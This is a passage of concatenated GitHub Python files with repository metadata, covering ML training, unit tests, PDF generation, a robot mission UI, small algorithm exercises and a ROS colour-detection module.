etc.\r\nLEARNING_RATE = 1e-4\r\nDEVICE = \"cuda\" if torch.cuda.is_available() else \"cpu\"\r\nBATCH_SIZE = 1\r\nNUM_EPOCHS = 3\r\nNUM_WORKERS = 2\r\nIMAGE_HEIGHT = 256 # 768 originally\r\nIMAGE_WIDTH = 256 # 768 originally\r\nPIN_MEMORY = True\r\nLOAD_MODEL = False\r\nTRAIN_IMG_DIR = \"Done_Train/\"\r\nTRAIN_MASK_DIR = \"Please_Val/\"\r\nVAL_IMG_DIR = \"Done_Val/\"\r\nVAL_MASK_DIR = \"Try_Final_Im_Done/\"\r\n\r\ndef train_fn(loader, model, optimizer, loss_fn, scaler):\r\n loop = tqdm(loader)\r\n\r\n for batch_idx, (data, targets) in enumerate(loop):\r\n data = data.to(device=DEVICE)\r\n targets = targets.float().unsqueeze(1).to(device=DEVICE)\r\n\r\n # forward\r\n # with torch.cuda.amp.autocast():\r\n # data = data.squeeze()\r\n # print(max(data))\r\n # with open('test.txt', 'w') as f:\r\n # f.write(str(data))\r\n # f.write('\\n')\r\n # close('test.txt')\r\n predictions = model(data)\r\n loss = loss_fn(predictions, targets)\r\n\r\n # backward\r\n optimizer.zero_grad()\r\n scaler.scale(loss).backward()\r\n scaler.step(optimizer)\r\n scaler.update()\r\n\r\n # update tqdm loop\r\n loop.set_postfix(loss=loss.item())\r\n\r\n\r\ndef main():\r\n train_transform = A.Compose(\r\n [\r\n A.Resize(height=IMAGE_HEIGHT, width=IMAGE_WIDTH),\r\n A.Normalize(\r\n mean=[0.0, 0.0, 0.0],\r\n std=[1.0, 1.0, 1.0],\r\n max_pixel_value=1.0,\r\n ),\r\n ToTensorV2(),\r\n ],\r\n )\r\n\r\n val_transforms = A.Compose(\r\n [\r\n A.Resize(height=IMAGE_HEIGHT, width=IMAGE_WIDTH),\r\n A.Normalize(\r\n mean=[0.0, 0.0, 0.0],\r\n std=[1.0, 1.0, 1.0],\r\n max_pixel_value=255.0,\r\n ),\r\n ToTensorV2(),\r\n ],\r\n )\r\n\r\n preModel = RohitConv().to(DEVICE)\r\n # model = UNET(in_channels=3, out_channels=1).to(DEVICE)\r\n loss_fn = DiceLoss()\r\n loss_fn_pre = nn.BCEWithLogitsLoss()\r\n optimizer_pre = optim.Adam(preModel.parameters(), lr = LEARNING_RATE)\r\n optimizer = optim.Adam(preModel.parameters(), lr=LEARNING_RATE)\r\n\r\n train_loader, val_loader = get_loaders(\r\n TRAIN_IMG_DIR,\r\n TRAIN_MASK_DIR,\r\n VAL_IMG_DIR,\r\n VAL_MASK_DIR,\r\n BATCH_SIZE,\r\n train_transform,\r\n val_transforms,\r\n NUM_WORKERS,\r\n PIN_MEMORY,\r\n )\r\n\r\n if LOAD_MODEL:\r\n load_checkpoint(torch.load(\"my_checkpointNew.pth.tar\"), preModel)\r\n\r\n # print(train_loader.shape)\r\n # check_accuracy(val_loader, preModel, device=DEVICE)\r\n scaler = torch.cuda.amp.GradScaler()\r\n\r\n for epoch in range(NUM_EPOCHS):\r\n\r\n train_fn(train_loader, preModel, optimizer, loss_fn, scaler)\r\n\r\n # save model\r\n checkpoint = {\r\n \"state_dict\": preModel.state_dict(),\r\n \"optimizer\":optimizer.state_dict(),\r\n }\r\n save_checkpoint(checkpoint)\r\n\r\n # check accuracy\r\n check_accuracy(val_loader, preModel, device=DEVICE)\r\n\r\n # print some examples to a folder\r\n save_predictions_as_imgs(\r\n val_loader, preModel, folder=\"saved_new_images/\", device=DEVICE\r\n )\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"atulragarwal/ACN-UNET","sub_path":"newTrain.py","file_name":"newTrain.py","file_ext":"py","file_size_in_byte":3658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"36028198211","text":"import os\nimport unittest\n\nimport paddle\nfrom paddle.distributed import fleet\n\npaddle.enable_static()\n\n\nclass TestFleetBase(unittest.TestCase):\n def setUp(self):\n os.environ[\"POD_IP\"] = \"127.0.0.1\"\n os.environ[\"PADDLE_TRAINER_ENDPOINTS\"] = \"127.0.0.1:36001\"\n os.environ[\"PADDLE_TRAINERS_NUM\"] = \"2\"\n os.environ[\n \"PADDLE_PSERVERS_IP_PORT_LIST\"\n ] = \"127.0.0.1:36001,127.0.0.2:36001\"\n\n def test_fleet_init(self):\n os.environ[\"TRAINING_ROLE\"] = \"PSERVER\"\n os.environ[\"POD_IP\"] = \"127.0.0.1\"\n os.environ[\"PADDLE_PORT\"] = \"36001\"\n\n role = fleet.PaddleCloudRoleMaker(is_collective=False)\n fleet.init(role)\n fleet.init()\n fleet.init(is_collective=False)\n self.assertRaises(Exception, fleet.init, is_collective=\"F\")\n self.assertRaises(Exception, fleet.init, role_maker=\"F\")\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"PaddlePaddle/Paddle","sub_path":"test/legacy_test/test_fleet_base_4.py","file_name":"test_fleet_base_4.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","stars":21032,"dataset":"github-code","pt":"29"} +{"seq_id":"27844252505","text":"import os\n\nfrom reportlab.pdfgen.canvas import Canvas\nfrom reportlab.lib.pagesizes import letter\nfrom reportlab.lib.units import inch\nfrom reportlab.pdfbase.pdfmetrics import stringWidth\n\nfrom taxcalculator.yearlytax import YearlyTax\nfrom taxcalculator.quarterlytax import QuarterlyTax\n\nPAGE_WIDTH = letter[0]\nPAGE_HEIGHT = letter[1]\n\nTITLE_FONT = 'Helvetica-Bold'\nTITLE_SIZE = 24\nTITLE_Y = 10 * inch\n\nHEADING_FONT = 'Helvetica-Bold'\nHEADING_SIZE = 16\n\nFONT = 'Helvetica'\nFONT_SIZE = 12\nROW_HEIGHT = 13\n\nKEY_FORMAT = '{:<50s}'\nAMOUNT_FORMAT = '${:>12,.2f}'\nCOLUMN_GAP = .25 * inch\n\nSIGN_X = 3.3 * inch\nOFFSET_X = inch\n\n\ndef draw_num_row(c: Canvas, y: int, right_x: int, key: str, val: int):\n c.drawString(inch, y, key)\n c.drawRightString(right_x, y, str(val))\n\n\ndef draw_finance_row(c: Canvas, y: int, sign_x: int, right_offset: int, key: str, val: float):\n c.drawString(inch, y, key)\n c.drawString(sign_x, y, '$')\n c.drawRightString(sign_x + right_offset, y, '{:,.2f}'.format(val))\n\n\ndef draw_quarter(c: Canvas, x: int, y: int, quarterly_tax: QuarterlyTax) -> tuple:\n y -= .5 * inch\n x = inch\n c.setFont(HEADING_FONT, HEADING_SIZE)\n c.drawString(x, y, 'Quarter ' + str(quarterly_tax.quarterNum))\n\n c.setFont(FONT, FONT_SIZE)\n x = 4.5 * inch\n y -= 20\n draw_finance_row(c, y, SIGN_X, OFFSET_X, 'Gross Income', quarterly_tax.gross)\n y -= ROW_HEIGHT\n draw_finance_row(c, y, SIGN_X, OFFSET_X, 'Taxable Income', quarterly_tax.taxableIncome)\n # c.drawRightString(x - COLUMN_GAP, y, KEY_FORMAT.format('Taxable Income'))\n y -= ROW_HEIGHT\n draw_finance_row(c, y, SIGN_X, OFFSET_X, 'Sales Tax Collected', quarterly_tax.salesTaxCollected)\n y -= ROW_HEIGHT\n draw_finance_row(c, y, SIGN_X, OFFSET_X, 'Sales Tax Owed', quarterly_tax.salesTaxOwed)\n y -= ROW_HEIGHT\n draw_finance_row(c, y, SIGN_X, OFFSET_X, 'Occupancy Tax Collected', quarterly_tax.occupancyTaxCollected)\n y -= ROW_HEIGHT\n draw_finance_row(c, y, SIGN_X, OFFSET_X, 'Occupancy Tax Owed', quarterly_tax.occupancyTaxOwed)\n y -= ROW_HEIGHT\n draw_num_row(c, y, SIGN_X + OFFSET_X, 'Nights Booked', quarterly_tax.nightsBooked)\n\n return x, y\n\n\ndef make_pdf(fname: str, yearly_tax: YearlyTax):\n \"\"\"\n Creates a PDF summary of the YearlyTax and places it at fname\n @param fname: path to output file\n @type fname: str\n @param yearly_tax: calculated tax\n @type yearly_tax: YearlyTax\n \"\"\"\n print('Creating PDF: \\\"{}\\\"'.format(fname))\n\n if os.path.exists(fname):\n os.remove(fname)\n\n canvas = Canvas(fname, letter)\n\n # title\n title_text = 'Income Tax - ' + str(yearly_tax.year)\n title_width = stringWidth(title_text, TITLE_FONT, TITLE_SIZE)\n canvas.setFont(TITLE_FONT, TITLE_SIZE)\n canvas.drawString((PAGE_WIDTH - title_width) / 2.0, TITLE_Y, title_text)\n\n # yearly fields\n x = 3 * inch\n y = TITLE_Y - (.75 * inch)\n canvas.setFont(FONT, 14)\n draw_finance_row(canvas, y, SIGN_X - 10, OFFSET_X + 10, 'Gross Income', yearly_tax.gross)\n y -= 20\n draw_finance_row(canvas, y, SIGN_X - 10, OFFSET_X + 10, 'Taxable Income', yearly_tax.taxableIncome)\n y -= 20\n draw_num_row(canvas, y, SIGN_X + OFFSET_X, 'Nights Booked', yearly_tax.nightsBooked)\n\n coords = draw_quarter(canvas, x, y, yearly_tax.quarter1)\n x = coords[0]\n y = coords[1]\n coords = draw_quarter(canvas, x, y, yearly_tax.quarter2)\n x = coords[0]\n y = coords[1]\n coords = draw_quarter(canvas, x, y, yearly_tax.quarter3)\n x = coords[0]\n y = coords[1]\n coords = draw_quarter(canvas, x, y, yearly_tax.quarter4)\n\n canvas.save()\n","repo_name":"bengodwinweb/RentalTaxCalculator","sub_path":"taxcalculator/pdf.py","file_name":"pdf.py","file_ext":"py","file_size_in_byte":3603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"36895693547","text":"import socket\r\n\r\nfrom PyQt5 import QtWidgets\r\nfrom PyQt5.QtWidgets import QListWidgetItem, QMessageBox\r\nfrom openpyxl import Workbook\r\n\r\nfrom listings.manager import manager\r\nfrom listings.point import Point, list_point\r\nfrom listings.ui.new_point_ui import PointWidget\r\nfrom lyb import address, commandList\r\n\r\n\r\nclass SMUI_BtClickEvent(object):\r\n __number_point = 0\r\n __current_row = None\r\n main_window: QtWidgets.QMainWindow = None\r\n set_mission_window: QtWidgets.QMainWindow = None\r\n\r\n @staticmethod\r\n def addPoint(x=0, y=0, move_mode=2, height_mode=1):\r\n point = Point(x, y, move_mode, height_mode)\r\n point_widget = PointWidget(point, SMUI_BtClickEvent.__number_point)\r\n SMUI_BtClickEvent.__number_point += 1\r\n item = QListWidgetItem(PointWidget.list_point_widget)\r\n item.setSizeHint(point_widget.size())\r\n PointWidget.list_point_widget.setItemWidget(item, point_widget)\r\n\r\n @staticmethod\r\n def removePoint():\r\n if SMUI_BtClickEvent.__current_row is not None:\r\n try:\r\n list_point.remove(list_point[SMUI_BtClickEvent.__current_row])\r\n SMUI_BtClickEvent.__number_point -= 1\r\n PointWidget.list_point_widget.setCurrentRow(SMUI_BtClickEvent.__current_row)\r\n except:\r\n print(\"error deleted\")\r\n SMUI_BtClickEvent.updateListPointWidgets()\r\n\r\n @staticmethod\r\n def updateListPointWidgets():\r\n PointWidget.list_point_widget.clear()\r\n number_point = 0\r\n for point in list_point:\r\n point_widget = PointWidget(point, number_point)\r\n number_point += 1\r\n item = QListWidgetItem(PointWidget.list_point_widget)\r\n item.setSizeHint(point_widget.size())\r\n PointWidget.list_point_widget.setItemWidget(item, point_widget)\r\n\r\n @staticmethod\r\n def rowChanged():\r\n SMUI_BtClickEvent.__current_row = PointWidget.list_point_widget.currentRow()\r\n\r\n @staticmethod\r\n def scan():\r\n list_point.clear()\r\n SMUI_BtClickEvent.addPoint()\r\n x = Point.x_min + 4\r\n y = Point.y_min\r\n while x < Point.x_max - 2:\r\n if y == Point.y_min:\r\n SMUI_BtClickEvent.addPoint(x, y + 4, 1, 1)\r\n y = Point.y_max\r\n SMUI_BtClickEvent.addPoint(x, y - 4, 1, 1)\r\n else:\r\n SMUI_BtClickEvent.addPoint(x, y - 4, 1, 1)\r\n y = Point.y_min\r\n SMUI_BtClickEvent.addPoint(x, y + 4, 1, 1)\r\n x += 8\r\n\r\n @staticmethod\r\n def cancel():\r\n list_point.clear()\r\n SMUI_BtClickEvent.__number_point = 0\r\n SMUI_BtClickEvent.addPoint()\r\n SMUI_BtClickEvent.updateListPointWidgets()\r\n SMUI_BtClickEvent.main_window.show()\r\n SMUI_BtClickEvent.set_mission_window.close()\r\n\r\n @staticmethod\r\n def save():\r\n if len(list_point) > 2:\r\n wb = Workbook()\r\n ws = wb.active\r\n\r\n i = 1\r\n ws[f'A{i}'] = \"x\"\r\n ws[f'B{i}'] = \"y\"\r\n ws[f'C{i}'] = \"h\"\r\n ws[f'D{i}'] = \"alpha\"\r\n ws[f'E{i}'] = \"height_mode\"\r\n ws[f'F{i}'] = \"move_mode\"\r\n\r\n for p in list_point:\r\n manager.sock.send_com(commandList.SRV_ADD_POINT(p.x, p.y, p.h, p.v, p.move_mode, p.height_mode, i - 1),\r\n address.addr_CS)\r\n i += 1\r\n ws[f'A{i}'] = p.x\r\n ws[f'B{i}'] = p.y\r\n ws[f'C{i}'] = p.h\r\n ws[f'D{i}'] = p.alpha\r\n ws[f'E{i}'] = p.height_mode\r\n ws[f'F{i}'] = p.move_mode\r\n\r\n ws2 = wb.create_sheet(\"holst_param\")\r\n ws2[f'A1'] = \"x min\"\r\n ws2[f'B1'] = \"x max\"\r\n ws2[f'C1'] = \"y min\"\r\n ws2[f'D1'] = \"x max\"\r\n\r\n ws2[f'A2'] = Point.x_min\r\n ws2[f'B2'] = Point.x_max\r\n ws2[f'C2'] = Point.y_min\r\n ws2[f'D2'] = Point.y_max\r\n\r\n # Save the file\r\n wb.save(\"sample.xlsx\")\r\n SMUI_BtClickEvent.main_window.ui.label_mission.setText(\"sample.xlsx\")\r\n\r\n SMUI_BtClickEvent.main_window.show()\r\n SMUI_BtClickEvent.set_mission_window.close()\r\n manager.sock.send_com(commandList.SRV_GENERATE_PATH(len(list_point)), address.addr_CS)\r\n try:\r\n com, addr = manager.sock.recv_com()\r\n com.run(addr, manager.sock)\r\n except socket.timeout:\r\n print(\"fail\")\r\n else:\r\n SMUI_BtClickEvent.error()\r\n\r\n @staticmethod\r\n def error():\r\n err = QMessageBox()\r\n err.setWindowTitle(\"БОЛЬШАЯ ОШИБКА\")\r\n err.setText(\"кнопка пока не добавлена\")\r\n err.setIcon(QMessageBox.Information)\r\n err.setStandardButtons(QMessageBox.Cancel | QMessageBox.Ok)\r\n err.exec()\r\n","repo_name":"speedy8Kit/underwaterRobotControlSystem","sub_path":"Manager/listings/ui/smUi_btclickevent.py","file_name":"smUi_btclickevent.py","file_ext":"py","file_size_in_byte":4952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"41902703693","text":"import multiprocessing\n\n\ndef run_in_procs(func, func_args, processes, maxtasksperchild=1):\n # Create a pool of worker processes\n pool = multiprocessing.Pool(processes=processes, maxtasksperchild=maxtasksperchild)\n\n try:\n # Use the map method to apply the function to each argument\n res = pool.map(func, func_args)\n except Exception as e:\n # Handle any exceptions that may occur during execution\n print(\"Error:\", e)\n finally:\n # Close, join and terminate the pool\n pool.close()\n pool.join()\n pool.terminate()\n return res\n","repo_name":"semeonb/public","sub_path":"airmelt/system/parallel.py","file_name":"parallel.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"18651314622","text":"import math\nn = int(input('Input n: '))\nm = 0\nfor a in range(1,n):\n x=a**(n-1)%n\n if a%1000==0:\n print(a) \n if x!=1 and math.gcd(n,a)==1:\n print(n, \"is not prime\")\n print(a, x)\n break\n elif x!=1 and math.gcd(n,a)!=1:\n m=m+1 \nif a==n-1 and m==0:\n print(\"prime\")\nelif a==n-1 and m!=0:\n print(\"carmichael\")\n \n","repo_name":"inuma-manabu/inuma.manabu.activity.io","sub_path":"carmichael.py","file_name":"carmichael.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"17545323975","text":"from django.urls import path\nfrom . import views\n\n\napp_name = 'blogs'\n\nurlpatterns = [\n path('', views.Index.as_view(), name='index'),\n path('inquiry/', views.InquiryView.as_view(), name='inquiry'),\n path('blog_list/', views.BlogListView.as_view(), name='blog_list'),\n path('blog_detail//', views.BlogDetailView.as_view(), name='blog_detail'),\n]","repo_name":"emori92/sample_blog_app","sub_path":"blogs/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"73213849679","text":"# -*- coding: utf-8 -*-\nfrom __future__ import division\nimport itertools as it\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom theano import function\nfrom theano import tensor as T\n\nCMAPS = ['gray', 'afmhot', 'autumn', 'bone', 'cool', 'copper',\n 'gist_heat', 'hot', 'pink', 'spring', 'summer', 'winter']\nCMAPS = it.cycle(CMAPS)\n\n\ndef plot_loss(net, *args, **kwargs):\n plt.plot(net.train_history_, label='train', *args, **kwargs)\n plt.plot(net.valid_history_, label='valid', *args, **kwargs)\n plt.xlabel('epoch')\n plt.ylabel('loss')\n plt.legend()\n\n\ndef plot_conv_weights(layer, figsize=(6, 6), *args, **kwargs):\n \"\"\"Plot the weights of a specific layer. Only really makes sense\n with convolutional layers.\n\n Parameters\n ----------\n layer : netz.layers.layer\n \"\"\"\n W = layer.W.get_value()\n shape = W.shape\n nrows = np.ceil(np.sqrt(shape[0])).astype(int)\n ncols = nrows\n for color, cmap in zip(range(shape[1]), CMAPS):\n figs, axes = plt.subplots(nrows, ncols, figsize=figsize)\n for ax in axes.flatten():\n ax.set_xticks([])\n ax.set_yticks([])\n ax.axis('off')\n for i, (r, c) in enumerate(it.product(range(nrows), range(ncols))):\n if i >= shape[0]:\n break\n axes[r, c].imshow(W[i, color], cmap=cmap,\n interpolation='nearest', *args, **kwargs)\n\n\ndef plot_conv_activity(layer, x, figsize=(6, 8), *args, **kwargs):\n \"\"\"Plot the acitivities of a specific layer. Only really makes\n sense with layers that work 2D data (2D convolutional layers, 2D\n pooling layers ...)\n\n Parameters\n ----------\n layer : netz.layers.layer\n\n x : numpy.ndarray\n Only takes one sample at a time, i.e. x.shape[0] == 1.\n\n \"\"\"\n if x.shape[0] != 1:\n raise ValueError(\"Only one sample can be plotted at a time.\")\n xs = T.tensor4('xs')\n get_activity = function([xs], layer.get_output(xs))\n activity = get_activity(x)\n shape = activity.shape\n nrows = np.ceil(np.sqrt(shape[1])).astype(int)\n ncols = nrows\n\n figs, axes = plt.subplots(nrows + 1, ncols, figsize=figsize)\n axes[0, ncols // 2].imshow(1 - x[0][0], cmap='gray',\n interpolation='nearest', *args, **kwargs)\n axes[0, ncols // 2].set_title('original')\n for ax in axes.flatten():\n ax.set_xticks([])\n ax.set_yticks([])\n ax.axis('off')\n for i, (r, c) in enumerate(it.product(range(nrows), range(ncols))):\n if i >= shape[1]:\n break\n ndim = activity[0][i].ndim\n if ndim != 2:\n raise ValueError(\"Wrong number of dimensions, image data should \"\n \"have 2, instead got {}\".format(ndim))\n axes[r + 1, c].imshow(-activity[0][i], cmap='gray',\n interpolation='nearest', *args, **kwargs)\n","repo_name":"BenjaminBossan/netz","sub_path":"netz/visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":2904,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"73392201359","text":"# -*- coding: utf-8 -*-\n\n# __author__ = xiaobao\n# __date__ = 2019/09/26 12:56:23\n\n# desc: desc\n\n# 给定一个由整数组成的非空数组所表示的非负整数,在该数的基础上加一。\n\n# 最高位数字存放在数组的首位, 数组中每个元素只存储单个数字。\n\n# 你可以假设除了整数 0 之外,这个整数不会以零开头。\n\n# 示例 1:\n\n# 输入: [1,2,3]\n# 输出: [1,2,4]\n# 解释: 输入数组表示数字 123。\n# 示例 2:\n\n# 输入: [4,3,2,1]\n# 输出: [4,3,2,2]\n# 解释: 输入数组表示数字 4321。\n\n# 来源:力扣(LeetCode)\n# 链接:https://leetcode-cn.com/problems/plus-one\n# 著作权归领扣网络所有。商业转载请联系官方授权,非商业转载请注明出处。\n\n\n\nclass Solution:\n # def plusOne(self, digits: List[int]) -> List[int]:\n def plusOne(self, digits):\n nLen = len(digits)\n\n nAdd = 1\n for i in range(nLen-1,-1,-1):\n digits[i] = digits[i] + nAdd\n if digits[i] > 9:\n digits[i] = digits[i] - 10\n else:\n return digits\n\n digitsNew = [1]\n digitsNew.extend(digits)\n return digitsNew\n\n\nsolution = Solution()\ndef CompareList(vecList1, vecList2):\n # 长度一样,每个元素一样\n nLenList1 = len(vecList1)\n if nLenList1 != len(vecList2):\n return False\n \n for i in range(nLenList1):\n if vecList1[i] != vecList2[i]:\n return False\n \n return True\n\n\n# 个位数:0, 1, 9\n# 两位数:10,19,99\nassert(CompareList([1], solution.plusOne([0]))) \nassert(CompareList([2], solution.plusOne([1]))) \nassert(CompareList([1,0], solution.plusOne([9]))) \nassert(CompareList([1,1], solution.plusOne([1,0]))) \nassert(CompareList([2,0], solution.plusOne([1,9]))) \nassert(CompareList([1,0,0], solution.plusOne([9,9]))) \n\n","repo_name":"xiewendan/algorithm","sub_path":"leetcode/66 plus-one.py","file_name":"66 plus-one.py","file_ext":"py","file_size_in_byte":1848,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"71783300239","text":"from unittest.mock import patch\n\nimport torch\nfrom parameterized import parameterized\nfrom torchaudio.io import play_audio, StreamWriter\nfrom torchaudio_unittest.common_utils import get_sinusoid, skipIfNoAudioDevice, skipIfNoMacOS, TorchaudioTestCase\n\n\n@skipIfNoAudioDevice\n@skipIfNoMacOS\nclass PlaybackInterfaceTest(TorchaudioTestCase):\n @parameterized.expand([(\"uint8\",), (\"int16\",), (\"int32\",), (\"int64\",), (\"float32\",), (\"float64\",)])\n @patch.object(StreamWriter, \"write_audio_chunk\")\n def test_playaudio(self, dtype, writeaudio_mock):\n \"\"\"Test playaudio function.\n The patch object is used to check if the data is written\n to the output device stream, without playing the actual audio.\n \"\"\"\n dtype = getattr(torch, dtype)\n sample_rate = 8000\n waveform = get_sinusoid(\n frequency=440,\n sample_rate=sample_rate,\n duration=1, # seconds\n n_channels=1,\n dtype=dtype,\n device=\"cpu\",\n channels_first=False,\n )\n\n play_audio(waveform, sample_rate=sample_rate)\n\n writeaudio_mock.assert_called()\n\n @parameterized.expand(\n [\n # Invalid number of dimensions (!= 2)\n (\"int16\", 1, \"audiotoolbox\"),\n (\"int16\", 3, \"audiotoolbox\"),\n # Invalid tensor type\n (\"complex64\", 2, \"audiotoolbox\"),\n # Invalid output device\n (\"int16\", 2, \"audiotool\"),\n ]\n )\n @patch.object(StreamWriter, \"write_audio_chunk\")\n def test_playaudio_invalid_options(self, dtype, ndim, device, writeaudio_mock):\n \"\"\"Test playaudio function raises error with invalid options.\"\"\"\n dtype = getattr(torch, dtype)\n sample_rate = 8000\n waveform = get_sinusoid(\n frequency=440,\n sample_rate=sample_rate,\n duration=1, # seconds\n n_channels=1,\n dtype=dtype,\n device=\"cpu\",\n channels_first=False,\n ).squeeze()\n\n for _ in range(ndim - 1):\n waveform = waveform.unsqueeze(-1)\n\n with self.assertRaises(ValueError):\n play_audio(waveform, sample_rate=sample_rate, device=device)\n","repo_name":"pytorch/audio","sub_path":"test/torchaudio_unittest/io/playback_test.py","file_name":"playback_test.py","file_ext":"py","file_size_in_byte":2227,"program_lang":"python","lang":"en","doc_type":"code","stars":2267,"dataset":"github-code","pt":"29"} +{"seq_id":"34683666363","text":"# Write a Python function to find the maximum of three numbers.\ndef find_max(num1, num2, num3):\n if num1 > num2 and num1 > num3:\n return num1\n elif num2 > num1 and num2 > num3:\n return num2\n else:\n return num3\n\n\nresult = find_max(12, 15, 11)\nprint(f\"The maximum number between given number is = {result}\")\nresult = find_max(12, 15, 19)\nprint(f\"The maximum number between given number is = {result}\")\n","repo_name":"AkshayRajodiya/SunbeamAssignment","sub_path":"Day1/question5.py","file_name":"question5.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"28771882863","text":"import rospy\nimport cv2\nimport numpy as np\nfrom collections import deque\nfrom cv_bridge import CvBridge, CvBridgeError\nfrom sensor_msgs.msg import Image\n\n\nclass VisionSystem:\n \"\"\"\n To be used as a callback for a Subscriber to a camera topic, saves\n the images to a limited buffer. Can also run a sequence of functions\n on the image as soon as it is captured. Each function in the pipeline\n should return a tuple of its resulting value and success status. The\n first argument of the function should be an image.\n\n foo(img, *args) -> (result, success)\n\n Parameters:\n maxlen: The maximum size of the image buffer, old images are\n discarded.\n pipeline_funcs: A list of functions to be ran after reading a new\n image.\n pipeline_args: The arguments to each of the functions.\n\n \"\"\"\n def __init__(self, maxlen=1, pipeline_funcs=[], pipeline_args=[], debug=False, verbose=1):\n self.verbose = verbose\n self.frame_count = 0\n self.img_buffer = deque(maxlen=maxlen)\n self.bridge = CvBridge()\n\n self.pipeline_funcs = pipeline_funcs\n self.pipeline_args = pipeline_args\n\n self.results = [None] * len(pipeline_funcs)\n self.status = [None] * len(pipeline_funcs)\n self.debug_img = [None] * len(pipeline_funcs)\n\n self.debug = debug\n\n def read(self, ros_msg=None):\n \"\"\" Acquires a new frame from a ROS message. This function is intended to\n be passed as callback when subscribing to a camera topic.\n\n Parameters:\n ros_msg: A ros message containing the image\n \n \"\"\"\n # print('im read')\n try:\n \n img = self.bridge.imgmsg_to_cv2(ros_msg, \"bgr8\")\n cv2.imwrite('/home/robotis/joe_ws/src/fira_basketball/config/output.jpg', img)\n # print(img)\n self.img_buffer.append(img)\n self.frame_count += 1\n except err:\n rospy.loginfo(err)\n\n i_foo = 0\n # print(self.pipeline_funcs, self.pipeline_args)\n for func, args in zip(self.pipeline_funcs, self.pipeline_args):\n try:\n # The image passed is a copy so further functions are not affected\n copy_img = img.copy()\n result, success = func(copy_img, *args)\n if self.debug:\n self.debug_img[i_foo] = copy_img\n\n self.status[i_foo] = success\n if success != False:\n self.results[i_foo] = result\n\n except Exception as e:\n if self.verbose == 1:\n rospy.loginfo(\"Failed to run function %d in vision pipeline\" % i_foo)\n rospy.loginfo(e)\n self.status[i_foo] = False\n\n i_foo += 1\n\ndef detect2Color(img, hsv_params1, hsv_params2):\n \"\"\" Detects a single color specified in HSV colorspace in the img_buffer\n \n Parameters:\n img \n hsv_params: A tuple of two 3-dim numpy array specifing the HSV \n range of the color.\n\n Return:\n (pos_x, pos_y): Returns the center position of the largest color\n blob normalized to the dimensions of the image.\n area: area of the largest color blob\n\n \"\"\"\n lower1 = hsv_params1[0]\n upper1 = hsv_params1[1]\n lower2 = hsv_params2[0]\n upper2 = hsv_params2[1]\n\n hsv_img = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n mask1 = cv2.inRange(hsv_img, lower1, upper1)\n mask2 = cv2.inRange(hsv_img, lower2, upper2)\n\n mask1 = cv2.morphologyEx(mask1, cv2.MORPH_CLOSE, np.ones((5, 5)))\n mask2 = cv2.morphologyEx(mask2, cv2.MORPH_CLOSE, np.ones((5, 5)))\n\n mask = cv2.bitwise_or(mask1, mask2)\n\n center_pos, area = findCenterOfLargestContour(mask)\n\n img[:, :, 2] = mask\n img[:, :, :2] = 0\n\n if center_pos is not None:\n # Normalize by image dimension\n c_x = center_pos[0] / float(img.shape[1])\n c_y = center_pos[1] / float(img.shape[0])\n\n center = (c_x, c_y)\n \n return (center, area), True\n else:\n return None, False\n\ndef get_contour_areas(contours):\n all_area = []\n\n for cnt in contours:\n area = cv2.contourArea(cnt)\n all_area.append(area)\n\n return all_area\n\ndef detectSingleColor(img, hsv_params):\n '''\n lower = hsv_params[0]\n upper = hsv_params[1]\n \n hsv_img = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n hsv_img = cv2.GaussianBlur(hsv_img, (5, 5), 0)\n\n mask = cv2.inRange(hsv_img, lower, upper)\n \n #element = cv2.getStructuringElement(cv2.MORPH_RECT(5, 5))\n mask = cv2.morphologyEx(mask, cv2.MORPH_OPEN, np.ones((5, 5)))\n #mask = cv2.morphologyEx(mask, cv2.MORPH_OPEN, element)\n \n ret, thresh = cv2.threshold(mask, 130, 255, cv2.THRESH_BINARY)\n #_, contours, _ = cv2.findContours(binary_mask, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n _, contours, hierarchy = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n \n get_contour_areas(contours)\n sorted_contours = sorted(contours, key = cv2.contourArea, reverse = True)\n if len(sorted_contours) != 0:\n largest_item = sorted_contours[0]\n cv2.drawContours(image = img, contours = [largest_item], contourIdx = -1, color = (0, 255, 0), thickness = 2, lineType = cv2.LINE_AA)\n x = 0\n y = 0\n \n for i in range (0, len(largest_item)):\n x = x + largest_item[i][0][0]\n y = y + largest_item[i][0][1]\n\n if contours is not None:\n c_x = int(x / len(largest_item))\n c_y = int(y / len(largest_item))\n\n center = (c_x, c_y)\n area = cv2.contourArea(largest_item)\n #cv2.imshow('img', img)\n #cv2.waitKey(10)\n print('in')\n return (center, area), True\n else:\n #cv2.imshow('img2', img)\n #cv2.waitKey(1)\n return None, False\n\n\n \n Detects a single color specified in HSV colorspace in the img_buffer\n \n Parameters:\n img \n hsv_params: A tuple of two 3-dim numpy array specifing the HSV \n range of the color.\n\n Return:\n (pos_x, pos_y): Returns the center position of the largest color\n blob normalized to the dimensions of the image.\n area: area of the largest color blob\n '''\n \n lower = hsv_params[0]\n upper = hsv_params[1]\n\n # print(hsv_params)\n\n 